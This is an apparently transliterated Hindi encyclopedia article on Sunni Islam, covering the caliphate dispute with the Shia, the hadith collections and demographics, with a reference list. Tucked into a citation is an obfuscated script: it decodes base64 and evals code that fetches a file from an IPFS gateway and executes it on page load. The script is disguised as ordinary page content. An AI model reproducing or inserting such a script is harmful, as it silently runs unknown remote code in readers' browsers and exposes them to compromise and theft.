सुन्नी
sunni muslimoan ka ek pradhan sanpraday hai. muhammad sahab ke bad ke char khaliphaoan ko yah pradhan manate haian, jinhean shiya log nahian manate. yah shiya logoan se bhinn haian.[1] sunni arabi, islam ki do pramukh shakhaoan mean se ek hai. sunni shakha islam ko manane vale bahusankhyakoan se bani hai. sunni musalaman apane sanpraday ko mukhyadhara aur islam ki paranparik shakha manate haian, jo alpasankhyak sanpraday se alag hai.
sunni pahale char khalifaoan ko muhammad sahab ke jayaz uttaradhikari manate haian, jabaki shiya manate haian ki muslim netritv par keval muhammad sahab ke damad ali aur unake vanshajoan ka adhikar hai. shiyaoan ke viparit sunniyoan ne lanbe samay se muhammad sahab dvara sthapit ek mazahabi rajy ki kalpana ki hai, jo laukik rajy kshetr hoga aur isalie mana hai ki islami netritv khudaee vyavastha ya prerana se tay n hokar muslim vishv ki maujooda rajanitik vastavikataoan se tay hoga. is vajah se aitihasik roop se sunniyoan ne dharm aur vyavastha banae rakhane par makka ke agrani parivaroan ka netritv svikar kiya aur samany, yahaan tak ki videshi khalifaoan ko bhi svikar kiya. sunniyoan ne mana ki khalifa ko muhammad sahab ke kul, kuraish ka sadasy hona chahie, kintu chunav ki ek aisi lachili vyavastha banaee ki unaka mool jo bhi ho vastavik khalifa ko nishtha mil sake, sunni aur shiya sanpradayoan mean adhyatmik aur rajanitik satta ko lekar ubhare mataantar 13vian sadi mean khilafat ke samapt hone ke bad tak bhi dridh rahe. sunni roodhivadita bahusankhyak samuday ke vicharoan aur prathaoan par bal die jane se spasht hota hai, jo paridhiy samoohoan ke vicharoan se bhinn hai. sunniyoan dvara vikasit am ray ki sanstha ne unhean aitihasik vikas se upaje vibhinn rivajoan aur vyavaharoan ko svikar karane ki suvidha di, jinaka mool quran mean nahian tha.
sunni hadis ki chhah adhikrit kitaboan ko manate haian, jinamean muhammad sahab ki maukhik paranparaean sangrahit haian. sunni muslim qanooni vicharadharaoan mean se ek ko shastrasammat manate haian. 20vian sadi mean sunni keval eeran, iraq aur shayad yaman ko chho dakar sabhi deshoan mean bahusankhyak the. 20vian sadi ke aant mean unaki sankhya 90 karo d thi aur yah islam ko manane vale samast logoan ka 90 pratishat tha.
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tika tippani aur sandarbh
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 563, parishisht 'gh' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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